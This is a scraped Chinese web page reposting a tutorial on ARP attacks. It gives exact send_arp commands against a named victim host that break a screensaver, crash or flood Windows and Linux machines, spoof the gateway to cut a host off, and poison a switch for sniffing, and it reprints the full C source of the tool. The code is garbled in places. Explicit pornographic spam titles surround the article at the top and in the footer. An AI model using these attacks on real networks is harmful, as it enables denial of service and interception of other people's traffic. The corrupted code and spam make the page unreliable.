好湿?好紧?好多水好爽自慰,久久久噜久噜久久综合,成人做爰A片免费看黄冈,机机对机机30分钟无遮挡

主頁 > 知識庫 > 不錯的一篇玩轉arp的文章

不錯的一篇玩轉arp的文章

熱門標簽:隨州銷售外呼系統平臺 溫嶺代理外呼系統 寧夏保險智能外呼系統哪家好 防城港市ai電銷機器人 怎么更改地圖標注電話 激戰黃昏地圖標注說明 不同的地圖標注 交行外呼系統有哪些 臨滄移動外呼系統哪家有
以下討論的機子有
一個要攻擊的機子:10.5.4.178 
硬件地址:52:54:4C:98:EE:2F
我的機子: :10.5.3.69 
硬件地址:52:54:4C:98:ED:C5
網關: 10.5.0.3 
硬件地址:00:90:26:3D:0C:F3
一臺交換機另一端口的機子:10.5.3.3
硬件地址:52:54:4C:98:ED:F7

一:用ARP破WINDOWS的屏保
原理:利用IP沖突的級別比屏保高,當有沖突時,就會
跳出屏保。
關鍵:ARP包的數量適當。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 
10.5.4.178 52:54:4C:98:EE:2F 40

二:用ARP導致IP沖突,死機
原理:WINDOWS 9X,NT4在處理IP沖突時,處理不過來,導致死機。
注: 對WINDOWS 2K,LINUX相當于flooding,只是比一般的FLOODING
有效的多.對LINUX,明顯系統被拖慢。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 
10.5.4.178 52:54:4C:98:EE:2F 999999999

三:用ARP欺騙網關,可導致局域網的某臺機子出不了網關。
原理:用ARP應答包去刷新對應著要使之出不去的機子。
[root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22 
10.5.4.178 00:90:26:3D:0C:F3 1
注意:如果單單如上的命令,大概只能有效幾秒鐘,網關機子里的ARP
高速緩存會被被攻擊的機子正確刷新,于是只要...

四:用ARP欺騙交換機,可監聽到交換機另一端的機子。
可能需要修改一下send_arp.c,構造如下的數據包。
ethhdr
srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H
arphdr
hwtype:1 protol:800H hw_size:6 pro_size:4 op:1
s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3
d_ha:00:00:00:00:00:00 d_ip:10.5.3.3
然后就可以sniffer了。
原理:
交換機是具有記憶MAC地址功能的,它維護一張MAC地址和它的口號表
所以你可以先來個ARP 欺騙,然后就可以監聽了
不過需要指出,欺騙以后,同一個MAC地址就有兩個端口號
yuange說,“這樣其實就是一個競爭問題。”
好象ARP 以后,對整個網絡會有點影響,不過我不敢確定
既然是競爭,所以監聽也只能監聽一部分,不象同一HUB下的監聽。
對被監聽者會有影響,因為他掉了一部分數據。

當然還有其他一些應用,需要其他技術的配合。
以下是send_arp.c的源程序

/*
This program sends out one ARP packet with source/target IP
and Ethernet hardware addresses suuplied by the user. It 
compiles and works on Linux and will probably work on any 
Unix that has SOCK_PACKET. volobuev@t1.chem.umn.edu 
*/ 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define ETH_HW_ADDR_LEN 6 
#define IP_ADDR_LEN 4 
#define ARP_FRAME_TYPE 0x0806 
#define ETHER_HW_TYPE 1 
#define IP_PROTO_TYPE 0x0800 
#define OP_ARP_REQUEST 2 
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0" 
char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev
usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"}; 
struct arp_packet 

u_char targ_hw_addr[ETH_HW_ADDR_LEN]; 
u_char src_hw_addr[ETH_HW_ADDR_LEN]; 
u_short frame_type; 
u_short hw_type; 
u_short prot_type; 
u_char hw_addr_size; 
u_char prot_addr_size; 
u_short op; 
u_char sndr_hw_addr[ETH_HW_ADDR_LEN]; 
u_char sndr_ip_addr[IP_ADDR_LEN]; 
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN]; 
u_char rcpt_ip_addr[IP_ADDR_LEN]; 
u_char padding[18]; 
}; 
void die (char *); 
void get_ip_addr (struct in_addr *, char *); 
void get_hw_addr (char *, char *); 
int main (int argc, char * argv[]) 

struct in_addr src_in_addr, targ_in_addr; 
struct arp_packet pkt; 
struct sockaddr sa; 
int sock; 
int j,number;
if (argc != 6) 
die(usage); 
sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP)); 
if (sock  0) 

perror("socket"); 
exit(1); 

number=atoi(argv[5]);
pkt.frame_type = htons(ARP_FRAME_TYPE); 
pkt.hw_type = htons(ETHER_HW_TYPE); 
pkt.prot_type = htons(IP_PROTO_TYPE); 
pkt.hw_addr_size = ETH_HW_ADDR_LEN; 
pkt.prot_addr_size = IP_ADDR_LEN; 
pkt.op = htons(OP_ARP_QUEST); 
get_hw_addr(pkt.targ_hw_addr, argv[4]); 
get_hw_addr(pkt.rcpt_hw_addr, argv[4]); 
get_hw_addr(pkt.src_hw_addr, argv[2]); 
get_hw_addr(pkt.sndr_hw_addr, argv[2]); 
get_ip_addr(src_in_addr, argv[1]); 
get_ip_addr(targ_in_addr, argv[3]); 
memcpy(pkt.sndr_ip_addr, src_in_addr, IP_ADDR_LEN); 
memcpy(pkt.rcpt_ip_addr, targ_in_addr, IP_ADDR_LEN); 
bzero(pkt.padding,18); 
strcpy(sa.sa_data,DEFAULT_DEVICE); 
for (j=0;j {
if (sendto(sock,pkt,sizeof(pkt),0,sa,sizeof(sa))  0) 

perror("sendto"); 
exit(1); 

}
exit(0); 

void die (char *str) 

fprintf(stderr,"%s ",str); 
exit(1); 

void get_ip_addr (struct in_addr *in_addr, char *str) 

struct hostent *hostp; 
in_addr->s_addr = inet_addr(str); 
if(in_addr->s_addr == -1)

if ((hostp = gethostbyname(str))) 
bcopy(hostp->h_addr, in_addr, hostp->h_length); 
else { 
fprintf(stderr, "send_arp: unknown host %s ", str); 
exit(1); 



void get_hw_addr (char *buf, char *str) 

int i; 
char c, val; 
for(i = 0; i  ETH_HW_ADDR_LEN; i++) 

if (!(c = tolower(*str++))) 
die("Invalid hardware address"); 
if (isdigit(c)) 
val = c - '0'; 
else if (c >= 'a'  c = 'f') 
val = c-'a'+10; 
else 
die("Invalid hardware address"); 
*buf = val  4; 
if (!(c = tolower(*str++))) 
die("Invalid hardware address"); 
if (isdigit(c)) 
val = c - '0'; 
else if (c >= 'a'  c = 'f') 
val = c-'a'+10; 
else 
die("Invalid hardware address"); 
*buf++ |= val; 
if (*str == ':') 
str++; 


標簽:無錫 沈陽 阜陽 紅河 青海 河源 忻州 哈密

巨人網絡通訊聲明:本文標題《不錯的一篇玩轉arp的文章》,本文關鍵詞  不,錯的,一篇,玩轉,arp,的,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《不錯的一篇玩轉arp的文章》相關的同類信息!
  • 本頁收集關于不錯的一篇玩轉arp的文章的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 千仞雪3d同人18羞羞漫画| 大学生毛片a左线播放| www黄色网址| 在线丨暗哟小u女精品视频| 调教猛男壮汉体育老师| 紫黑硕大猛喷浓精| 秘密教学漫画免费观看| 亚洲综合一区二区三区葵つかさ| 国产资源免费视频在线观看| 日韩一品道| 天天视频国产| 公翁吃胸?吮奶小玲| 巨大乳の揉んで乳榨り| 自w到高c时该看的| 919yy影院| 财阀们的玩物Np女明星h| 孕妇婬片A片www| 小姨子逼逼| 黄色激情小视频| 他含着我的奶边摸边做| 天天躁日日躁狠狠躁伊人| 野花影视在线观看| 粉色视频高清大全免费观看1| 性生生活三级视频在线观看| 日本人妻av一区二区三区电影 | 呜不要了深度宫交h| 美女爆?吸乳羞羞免费网站妖精| 男男又爽?又黄?3D一区二区| 久久综合桃花| 91av影院| a级片在线免费看| 97综合精品无码人妻国色天香| 肉浪货高H秘书1v1| 男女一起羞羞羞的动态图| 青青国产在线观看| 亚洲精品一区二区三区在线| 成年美女黄网站色大免费下载 | 我要看一级黄色片| 国产做a爰片久久毛片A片小说| 女明星三点尽露合集| 古代一女多夫h全文肉肉|